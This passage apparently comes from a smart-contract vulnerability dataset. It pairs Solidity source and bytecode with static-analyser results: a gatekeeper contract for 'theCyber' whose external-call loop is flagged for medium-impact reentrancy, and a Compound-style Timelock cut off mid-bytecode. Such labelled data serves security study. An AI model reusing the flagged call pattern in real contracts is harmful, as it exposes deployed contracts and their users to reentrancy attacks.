knownHashes_[0x91110c6797d18867583e4bb971e8753c75a35e0bac534070c49102db7acfffe1] = true;
knownHashes_[0x7487dc4230fdb71b3ca871b146d85331393b6830c3db03e961301e98b2f0ed83] = true;
knownHashes_[0xe947fa9a35038f665c8eba2ed92e1a6c90dc08d463e378718be7e0939ccd2634] = true;
knownHashes_[0xdcb1d082b5e889cb192fe66a0e4fef8664bbd63b4f5469bb6f41b28cbaaa2f08] = true;
knownHashes_[0xe79a4da1c0dfd3183d0b4409faf9e5a267ada85a188cf26b37b4ffe1846d6f9f] = true;
knownHashes_[0xbd63b716bd0133ab86e7781876c07ac130ba64c60628f81735b2ca760a6450c0] = true;
knownHashes_[0x270a38dac311171970655d2584780fd2625f255053933f4863f2f1022e5ae99b] = true;
knownHashes_[0x9472b387fa469e3dbe8b3e7a8aaa7054d98b7424d60e5f36c964a16c8fcdbebc] = true;
knownHashes_[0x5d36315425c7e9699328e3f4c0962d40709c0cb78a7b72a015aa31caba784450] = true;
knownHashes_[0x745367e8d87e841c203ccacbffc361affe39a16e69b348f99cf5fc04c00d6b7e] = true;
knownHashes_[0x026d05c886b8530bef15e25ce3f915306624915a2edd7309d7c063c8baadd80b] = true;
knownHashes_[0x0bbaf4ad40972b1d9aec644660790c7707976757305e4e2a0085af9adf444b31] = true;
knownHashes_[0x13b72741563ee1d9e3e0df5cedca9d185b29dc0adc3d08a1c26fff4cb61b70c7] = true;
knownHashes_[0x891bd970b36e5b892a8e43a153b5b1e199223d899808426b894569fb1ad3224c] = true;
knownHashes_[0xe5dd6ba9a4647c35099ed76802c6f2aab16111f5994fd7c86598ef717693d33e] = true;
knownHashes_[0x556c98600314be469b3d68e6909b68f32fbd7d2b8804bde2362b4f79148fcfde] = true;
knownHashes_[0x0ea220fdd96c8a55b3b1feee9a67075dc162c3c6354347d4191cc614e463aa96] = true;
knownHashes_[0x5388e66877be80f1599716f76d563dc4fd7f7dd6f18fd5aa173722c30df66283] = true;
knownHashes_[0x9cdd8250621aeb3c88e919a8784f3d12828e10bd00403dc4c9e6881c55231a71] = true;
knownHashes_[0xf502cb4dcbffc203db27df091b916ee616cdad39f662027ef3c9054d91c86c32] = true;
knownHashes_[0x40c6b9be0005aac01c0d89d7e666168a83e17d5164b3fdb5bdf7cbb3e4770144] = true;
knownHashes_[0xbff7468379d3a8a18637f24ceeada25214b74e91761d4950732aa037efaf46a6] = true;
knownHashes_[0x52fc4c96b1eff265a5e78eb6d9b54e72e99bf31e89c99c4366e46cb757775cbf] = true;
knownHashes_[0xebd7bd878a40ef58bee78d9ed873553b6af1ad4536fefd34e23dfca3d50206d8] = true;
knownHashes_[0xf4a53103da3a424f705be1197d5d7edd58f395d81f5e3f6b912d4b1657cb656e] = true;
knownHashes_[0x08e442e4dbae4c612654576a3b687d09b00a95ca4181ca937c82d395f833ae1a] = true;
knownHashes_[0xd37e725b67a1003febdbae5e8a400af1d8e314e446dfcde2f921ac5769cd4fed] = true;
knownHashes_[0xc199f1e49e8167a1684cd9ac5def4c71666bf5d6942ff63661486e139dee13df] = true;
knownHashes_[0xc2af103fccfbf2a714f4e9a61d7e126996174a57050efcabe9e7e9d17f7ac36c] = true;
knownHashes_[0x192240627f8356ea1caa66f75a4f2d4a4c9f328e76ce7c6d4afbd0645cf6998e] = true;
knownHashes_[0x649a262b9674ef27f69a67a495feb49ec699657e250fe0e7a70a7e2091b86ff0] = true;
knownHashes_[0x754178f9c0b70450f40416ca301354b39c5551f369b0057e84e877c0b59229b4] = true;
knownHashes_[0xa3183cb641d72735e222815990343ee2f64a8ea1f3f3614c674987cdae454468] = true;
knownHashes_[0x2581e9080a7c9695cb4a956144ff6478a5ff9005575c17fd8837299e1c3598c6] = true;
knownHashes_[0xe7bdcc139d0f937bd1ef258a4b17b76daf58729eaed4ef5d8181842be119086e] = true;
knownHashes_[0x5fa0b5b4ee49a272223effa7789dac1d0c97f5476a405968b06bdcf7e6f70c8c] = true;
knownHashes_[0x6cf76f5d49f99cf3b6384d40d6447dba5db5e46af199e8c2876c580aa6c9ab43] = true;
knownHashes_[0x5e5423c6d508ab391aabd4d842edc839bc54742df2bd62ec4a36370b9744bbeb] = true;
knownHashes_[0xbb53ab62aa4fad4bcf86f6757e8fef8b022eab4bc17965c4a84842d54083b479] = true;
knownHashes_[0xda6a6e12dfc7105a144bb0091ae1d419bd79a926fb3783ec13cb9658bd8b5bc2] = true;
knownHashes_[0x0028cc8aa613b3f53cde95a59e5f3d78b1a5d370909836889920e818578b95ee] = true;
knownHashes_[0x5ff151251e10f03bea31e7f83160bb1adad9df1f11c0ebc161c5c9330a87db8e] = true;
knownHashes_[0x1056ee80df6c3c776f662138689c96107fd4fb0c71d784a85c4639c0f30a6acd] = true;
knownHashes_[0xc9b5d332e96f7b6a5bb2d44ca3d847a5fca5ef4b2cde5f87c76e839d70ac95e0] = true;
knownHashes_[0xed3515ab11fab92d1114b7e1f0736ecff17794ad1a5f76003838971c17373b39] = true;
knownHashes_[0xaeedbd57c74386217a11806cb3ac9acf6661bc40b36d0fd644a975c5f6b54426] = true;
knownHashes_[0xb15bc9952eae5559a85c14abefd0bf23c0066e5c63807fd83f6ca8e07cf8ac0f] = true;
knownHashes_[0xc77584eb3625f35588eebc89277d71dcb53454aebb9176c9232b77071e7b5bd7] = true;
knownHashes_[0xe17aab35ee48eef0707ece1c94464115ff39214963dfe64571fd0529443f464c] = true;
knownHashes_[0xcd6619186614342e042f16bdd8508d4fb7a86a4734285f908889f3ac14d94cc4] = true;
knownHashes_[0x1e6a469a9820448aa5fbcf146eb65fa54256f0d0d38d9a5db9598170ed4e5159] = true;
knownHashes_[0x56e8db690925fd8fec603795b72187c727ed019772bb11e92015bd4227ea0de6] = true;
knownHashes_[0x30df18b198d8006fcee31c5ab03c21599003902c38a0d46f89c83e0a50cdc722] = true;
knownHashes_[0xc7ec2f5603c2664505cc16b9eca68a3a34cf0ef7caff5d9099c01f1facffcee6] = true;
knownHashes_[0x37862b072052fc1b88afd2c8869b9a78a5bda139beba1c986717ec1fd526d61d] = true;
knownHashes_[0xd402c6c43bd8ccdcf43b800168f1065d0d2e95d6cd8f48dd94a3a70078fd7f96] = true;
knownHashes_[0xa41d986a203c53f553f63aa5f893146f25fb23754a37cc32d95f1312b0d1f58b] = true;
knownHashes_[0x14b4feedfece7eb6df8faed2c7173b87f715a14c9d27ca88979bf3dd5d64605a] = true;
knownHashes_[0x8d643ca159260bc55434f0f40552e88520c4d0217497eb540803b59f37f4120b] = true;
knownHashes_[0xdd1a85c09957e8ad22907f83736ab3fd54742b1dce5ca22a0132970fdd4df6e0] = true;
knownHashes_[0xec78a0437bca2a714d146b10ad6a5ae370794ff0c7f4ff077eea7b302e9ce1db] = true;
knownHashes_[0xa20dd3512ca71ac2d44d9e45b2aec2b010a430c38a6c22bfb6f2f0ba401658f5] = true;
knownHashes_[0x1f54cdbcec5639248461fe067a56a3bf3c03a16b0fa92f8128b585930157a4a3] = true;
knownHashes_[0x258297a15ed3175983a05f7bb59dcc89fab5bb74ebfa7aa84cef74e7a35cefd3] = true;
knownHashes_[0x432b0c57cab4566f47ae7f942ec3db7496c44fb211165299e49244e5feeb63fb] = true;
knownHashes_[0xd4e325fae344777ddbfa91c405f431bec4419417245ab92bb04612d18c939309] = true;
knownHashes_[0x08014c3be305fc7daafd910e3e286a1161ac5ccddbb1f553ae1fe67924bfb2f1] = true;
knownHashes_[0xcc025016f45b21cca83d50d6b4e94b548869bb8de5c5a710091c9d64bd37332b] = true;
knownHashes_[0x1cdb6bbc3a17c535d44cbe575669436ee7028e475e5fe47f7f98489439783f33] = true;
knownHashes_[0x2976844209c565893bf4ffadb7a27f3fd96f2458bd40e5b49ebffae5ae0caedc] = true;
knownHashes_[0x2cc94faaab298fbdf4af4d2fb86f6450bb708f18d3c3ebaa9c23e240c6f22325] = true;
knownHashes_[0x5ea72f0a677eb4bc6dcb8343786fdee6f278ebd1b4d740f8cdc212bc451b6eef] = true;
knownHashes_[0x1f40acf6a57ce9982c2b1135499b6c893b37a1df1bdf84275cf137cabd53ce50] = true;
knownHashes_[0x3c36abe94eb067440cd9fe1006f6773e2b27548d0a306bcb168a75392b3b6297] = true;
knownHashes_[0x049b381e7b45aba6dfd343331c4b56407b2a157dc878736ada0e9debecb68852] = true;
knownHashes_[0x3981aab8ca4b4d2565b5079437d6ed0e10bc60c3016c5fd67241970f36d28f5e] = true;
knownHashes_[0xe3674f344f52839b210a40d41a363ef8b1a2c049afe9b109c56af4d991fb86f4] = true;
knownHashes_[0xf14978e47cc74f2a6dc7bd883f7dc4a3586ea2cd89f17359bfca73bc2a1f3977] = true;
knownHashes_[0xe4b502345d6eb2938a811063515590368ec108bb434b0b39e9a42d776ad5fd64] = true;
knownHashes_[0x7350feff51762a0bfc5e878deec872b5eb79427f3bbb2688b97d59b3b8257196] = true;
knownHashes_[0x68d678bbcbb4519bc266cf4bb8f54a65c8dcab63d6fbeca7a1c1b58ce55f7d1a] = true;
knownHashes_[0x8a2eb9517a8ca7e31a58a80880977f3b29b5649e09de0d10e2d40ce3d4a87bbd] = true;
knownHashes_[0x49fd5256632a2565ec250854981f5ea3c1668e0cdf4979231111a464643d571d] = true;
knownHashes_[0xa5e851c89ca2925f18e9eefa4855faa4c69d2c12b875bd1bbc233d0c81baf4a3] = true;
knownHashes_[0x5d42e9a67094bb8cb3c2f078d1e02e722e9b44e6931dea3fc361b0c6b71a6424] = true;
knownHashes_[0xd17c550587cc064af20dfb16f8b9e7ce07163cc4902cf67c94e09e94781ab45b] = true;
knownHashes_[0x2ac1bbd505a0382f5b79f65aa5e768b6f956120e1e9adab1700e882aa2b435e9] = true;
knownHashes_[0xd820d64bdcd12ec6c4ccb6eb857afd4f3e3fba039c60482d8eb17ac518e60ae4] = true;
knownHashes_[0xb77c2f467217103baa4742a68f663b09bf01785653871eb9997f082378694e50] = true;
knownHashes_[0x1e441e30ec1bd4475f9fd50008e80c36956219a76b98516115391b6a60a6e2e9] = true;
knownHashes_[0x7d4d2f49945d4b0a6bdbcdd40feee2b6b76f4b5d34ddfd6a3e9d7fc93794a89b] = true;
knownHashes_[0xd6e6ebee9bb19de629e56750211c2ac5bc018ccf00cc0d023cdcdc3f7de0258d] = true;
knownHashes_[0x51198dd5ad4ca7ccb0112193f76e8d8325e66c0872da68e1e0a063363e0d28f7] = true;
knownHashes_[0xa3f29b1ff1f4e8136b9b2f669494490704d13606b73aac04def08d95488d79c1] = true;
knownHashes_[0xea3f1165ce868ab19978dcd32d7fe78fdc8dd26162057b54dc1c8f688332f0fb] = true;
knownHashes_[0x7a2c8e589c3570c9dd8d3a4031a65b2b164c5b0f3cba0d610228351134b87d24] = true;
knownHashes_[0x3e8d8eae37904d8a467efa882b1559a15bcbab3c02ceceaa34c1366855b31a4d] = true;
knownHashes_[0x9266948ade2d86ef12bc0d38d4a98ebd1ff3d2046b2cd3150f47e6b41eb6c9d0] = true;
knownHashes_[0x0ac0867e5d3c943115e715a3b7d129e63fd65c29fc3b2a0c75e245e8cc8e3cbc] = true;
knownHashes_[0xc79ed203ef26b7e228dc957ee3581e87f76a03773756729f9a6e17953d78258d] = true;
knownHashes_[0xd144249c42697104457147d9774e937cd9ff668da8133b4e9c7b14ba0d9c3745] = true;
knownHashes_[0x984aabaf91e006bb4176e31dfe2e969f4c012936cd30cc1b0fdcca5173a4f96c] = true;
knownHashes_[0x251a654a0a08c10ff2f1ee8d287f867c1dab7e1e2b7e1e76efd07e8c57e415de] = true;
knownHashes_[0x887b4b89c813bbcea7ec00143867511bdbc5ef37042d9fb0a2fff2e7ac367a0e] = true;
knownHashes_[0x76544c577c6549c6f3918fa0682388917cd893afbb957123cbfb898fe1518556] = true;
knownHashes_[0xa19ac2a03c0c89cae8ee0c2db1d52b21386b710a83f810689ecb47c864fb2a55] = true;
knownHashes_[0x11b2accc5b3d1d6af103f4048b62aed897f9a5e2d74669f8b389c706633b952c] = true;
knownHashes_[0x1d8110d1e28a617a3d438aa479212ac8cb629c850286a7bd2d37ce1b3c73a6c0] = true;
knownHashes_[0x8fa2a550db50cba22e90916d6decd9b4077b99eb4502e9ebee196f8c4b6fd41d] = true;
knownHashes_[0x1c95cfe3e934357573c4fc494b14a934b664178d2658af1d95a249b4747e623f] = true;
knownHashes_[0x4a7fdd5ecb85fefbd134037c54563b106883cf88d13d991e1315920b0e5c8a6d] = true;
knownHashes_[0x168471be8819a5430ed54c076cdce0da303e00b88db692f9fe1e663f46afc2ab] = true;
knownHashes_[0x4b8c86ceecef46755965c3b795bb3247cf90f524f201d532fbecd2be655dc908] = true;
knownHashes_[0x61378c6396fa218e2d3df700d2dc02fba667df7a5072c805cbb2fad2fe9d00d3] = true;
knownHashes_[0xad1b8c3ed94e252cb3671a2d3d404ef8844d3130e3a3ff87e0914a797bbbaa73] = true;
knownHashes_[0x6c8af6c4484fca40444f51f9798915f19fd0a0dcedff06ade434d7ccc6cbf404] = true;
knownHashes_[0x10d43739be9d4a2db0c9355129b3e1af634b049a2c6eae9cf915ee3ef27cccb5] = true;
knownHashes_[0xebf68de80643eee9b471aa39a7f366a076fb305f0a1adeb726206ed0cd5a2bc9] = true;
knownHashes_[0x506ded3d65c3a41b9ad502a8c0e685786058861e0c292c9fe075822d987d357e] = true;
knownHashes_[0x051e531490eb2ad5a160fbc5b7b371ea6e20102635e3c612116f1eb117c6dd2d] = true;
knownHashes_[0xf6009b990598b0ef14854eb38c49bc22c3a21606f84df02ac85b1e118bb90e77] = true;
knownHashes_[0xf44e63fc8a12ca3d0d393ed67b84a6e8d857f4084e2959316c31a5c6bd6ae174] = true;
knownHashes_[0x6d0cef3b24af04cd7666950e8950ec8da04900ed7cc01b8dc42737ddd810facb] = true;
knownHashes_[0x9c766cb211e0036d3b11f70de1c960354d85c6e713b735c094e0040b4f61ca3b] = true;
knownHashes_[0x50f41f1f7773962333b3260e70182962b13552a3e525085063ffa5bd26a960ac] = true;
knownHashes_[0xe3b258e4c6c90d97f647586e1e53ea268cc851f13e69e835977b6b8399fc2cbd] = true;
knownHashes_[0xe341f1ffe620d9de97b15169d1fa16d885fef299d52f6a0a7989dc0eafa76743] = true;
knownHashes_[0xe7dfb8186f30e5d7844c72314448cfd059b070a41322d5ddd76cbf3e588b9dcd] = true;
knownHashes_[0x07aa797be1bd3b701056405361160c2f62de1e5a452d9f0fb8a5c98ddf4bb255] = true;
knownHashes_[0x92f8937ed2c57779a3697d9223ab17f598396f9802028bd3a34ec852413c60f4] = true;
knownHashes_[0xbdf0a9d32af5ea64ef0d553b8b3fc0a4fd3101bc71b3cd57a165608efa7cf7f6] = true;
knownHashes_[0x25ac304efba4df87b0d420c8eb8311b9d3314776176536e1d2245c38da938c13] = true;
knownHashes_[0x417e5ab8e8e090d6cf05a551f629eac9c7fbc73b30a3ed8a2a2d4f4bba37e165] = true;
knownHashes_[0x104a2b6fbaeb34315c8da0c6ced20f05f4702ffd81a31516813b9f771f3454b9] = true;
knownHashes_[0x9e62e0694ed13bc54810ccaaa2dbb67ad1eb75d94dc53cd66ebc45a9cce9635d] = true;
knownHashes_[0xd7b83539794844e00f1cba1d3b05297e9b262d1bb2fc91ba458d3c75d44ea6ca] = true;
}
function enter(bytes32 _passcode, bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) checkOne checkTwo checkThree(_passcode) checkFour(_passcode) returns (bool) {
// Register that the contract has been interacted with.
interactions_[tx.origin] = true;
interactions_[msg.sender] = true;
// Register that a given passcode has been used.
acceptedPasscodes_[_passcode] = true;
// Register the entrant with the gatekeeper.
entrants_.push(tx.origin);
return true;
}
function assignAll() public returns (bool) {
// The contract must still be active in order to assign new members.
require(active_);
// All entrants must be registered in order to assign new members.
require(entrants_.length == MAXENTRANTS_);
// Initialize variables for checking membership statuses.
bool member;
address memberAddress;
// The contract must be a member of theCyber in order to assign new members.
(member,) = theCyberInterface(THECYBERADDRESS_).getMembershipStatus(this);
require(member);
// Pick up where the function last left off in assigning new members.
uint8 i = nextAssigneeIndex_;
// Loop through entrants as long as sufficient gas remains.
while (i < MAXENTRANTS_ && msg.gas > 175000) {
// Make sure that the target membership isn't already owned.
(,,,,memberAddress) = theCyberInterface(THECYBERADDRESS_).getMemberInformation(i + 1);
if (memberAddress == address(0)) {
// If it is not owned, add the entrant as a new member of theCyber.
theCyberInterface(THECYBERADDRESS_).newMember(i + 1, bytes32(""), entrants_[i]);
}
// Move on to the next entrant / member id.
i++;
}
// Set the index where the function left off; set as inactive if finished.
nextAssigneeIndex_ = i;
if (nextAssigneeIndex_ == MAXENTRANTS_) {
active_ = false;
}
return true;
}
function totalEntrants() public view returns(uint8) {
// Return the total number of entrants registered with the gatekeeper.
return uint8(entrants_.length);
}
function maxEntrants() public pure returns(uint8) {
// Return the total number of entrants allowed by the gatekeeper.
return MAXENTRANTS_;
}
} | 0x6060604052600436106100485763ffffffff60e060020a600035041663124c32a1811461004d5780636064365214610095578063694463a2146100be57806390ae631d146100d1575b600080fd5b341561005857600080fd5b61008160043577ffffffffffffffffffffffffffffffffffffffffffffffff19602435166100e4565b604051901515815260200160405180910390f35b34156100a057600080fd5b6100a8610314565b60405160ff909116815260200160405180910390f35b34156100c957600080fd5b6100a861031a565b34156100dc57600080fd5b610081610320565b600032600160a060020a031633600160a060020a03161415151561010757600080fd5b611fff5a81151561011457fe5b061561011f57600080fd5b8163ffffffff7801000000000000000000000000000000000000000000000000820490811661ffff9091161461015457600080fd5b63ffffffff7801000000000000000000000000000000000000000000000000820490811667ffffffffffffffff909116141561018f57600080fd5b63ffffffff780100000000000000000000000000000000000000000000000082041661ffff3216146101c057600080fd5b60015460fa9011156101d157600080fd5b600160a060020a03331660009081526003602052604090205460ff16156101f757600080fd5b600160a060020a03321660009081526003602052604090205460ff161561021d57600080fd5b836004600082604051908152602001604051908190039020815260208101919091526040016000205460ff16151560011461025757600080fd5b600085815260056020526040902054859060ff161561027557600080fd5b600160a060020a033281166000908152600360209081526040808320805460ff19908116600190811790925533909516845281842080548616821790558a845260059092529091208054909216811790915580548082016102d68382610592565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191632600160a060020a031617905550600195945050505050565b60fa5b90565b60015490565b6000805481908190819060ff16151561033857600080fd5b60015460fa1461034757600080fd5b7397a99c819544ad0617f48379840941efbe1bfae163a7f2f4e23060006040516040015260405160e060020a63ffffffff8416028152600160a060020a0390911660048201526024016040805180830381600087803b15156103a857600080fd5b6102c65a03f115156103b957600080fd5b505050604051805190602001805150909350508215156103d857600080fd5b5060025460ff165b60fa60ff82161080156103f557506202ab985a115b1561055e577397a99c819544ad0617f48379840941efbe1bfae163aef3bc1760018301600060405160a0015260405160e060020a63ffffffff841602815260ff909116600482015260240160a060405180830381600087803b151561045957600080fd5b6102c65a03f1151561046a57600080fd5b50505060405180519060200180519060200180519060200180519060200180519650505050600160a060020a038416151591506105569050577397a99c819544ad0617f48379840941efbe1bfae1600160a060020a0316638c9c297782600101600060018560ff168154811015156104de57fe5b600091825260209091200154600160a060020a031660405160e060020a63ffffffff861602815260ff90931660048401526024830191909152600160a060020a03166044820152606401600060405180830381600087803b151561054157600080fd5b6102c65a03f1151561055257600080fd5b5050505b6001016103e0565b6002805460ff191660ff838116919091179182905560fa91161415610588576000805460ff191690555b6001935050505090565b8154818355818115116105b6576000838152602090206105b69181019083016105bb565b505050565b61031791905b808211156105d557600081556001016105c1565b50905600a165627a7a723058200f939d36e1cb75c68ec825da862dc7082ea12aea89eb3783b2e0423cd220286f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 922 |
0x172c4cd583cd69c6e6e8b559ebc0f8d56916e2d6 | /**
*Submitted for verification at Etherscan.io on 2022-01-16
*/
pragma solidity ^0.5.16;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the addition of two unsigned integers, reverting with custom message on overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, errorMessage);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction underflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot underflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, errorMessage);
return c;
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers.
* Reverts with custom message on division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Timelock {
using SafeMath for uint;
event NewAdmin(address indexed newAdmin);
event NewPendingAdmin(address indexed newPendingAdmin);
event NewDelay(uint indexed newDelay);
event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta);
uint public constant GRACE_PERIOD = 14 days;
uint public constant MINIMUM_DELAY = 2 days;
uint public constant MAXIMUM_DELAY = 30 days;
address public admin;
address public pendingAdmin;
uint public delay;
mapping (bytes32 => bool) public queuedTransactions;
constructor(address admin_, uint delay_) public {
require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
admin = admin_;
delay = delay_;
}
function() external payable { }
function setDelay(uint delay_) public {
require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock.");
require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay.");
require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay.");
delay = delay_;
emit NewDelay(delay);
}
function acceptAdmin() public {
require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin.");
admin = msg.sender;
pendingAdmin = address(0);
emit NewAdmin(admin);
}
function setPendingAdmin(address pendingAdmin_) public {
require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock.");
pendingAdmin = pendingAdmin_;
emit NewPendingAdmin(pendingAdmin);
}
function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) {
require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin.");
require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = true;
emit QueueTransaction(txHash, target, value, signature, data, eta);
return txHash;
}
function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public {
require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
queuedTransactions[txHash] = false;
emit CancelTransaction(txHash, target, value, signature, data, eta);
}
function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) {
require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin.");
bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta));
require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued.");
require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock.");
require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale.");
queuedTransactions[txHash] = false;
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call.value(value)(callData);
require(success, "Timelock::executeTransaction: Transaction execution reverted.");
emit ExecuteTransaction(txHash, target, value, signature, data, eta);
return returnData;
}
function getBlockTimestamp() internal view returns (uint) {
// solium-disable-next-line security/no-block-members
return block.timestamp;
}
} | 0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a857600080fd5b803590602001918460018302840111600160201b831117156103c957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610c33915050565b60408051918252519081900360200190f35b34801561042a57600080fd5b506100c26004803603602081101561044157600080fd5b50356001600160a01b0316610f44565b34801561045d57600080fd5b506100c2600480360360a081101561047457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156104a357600080fd5b8201836020820111156104b557600080fd5b803590602001918460018302840111600160201b831117156104d657600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561052857600080fd5b82018360208201111561053a57600080fd5b803590602001918460018302840111600160201b8311171561055b57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610fd2915050565b3480156105aa57600080fd5b5061040c611288565b3480156105bf57600080fd5b5061040c61128e565b3480156105d457600080fd5b5061040c611295565b3480156105e957600080fd5b5061040c61129c565b3480156105fe57600080fd5b506100c260048036036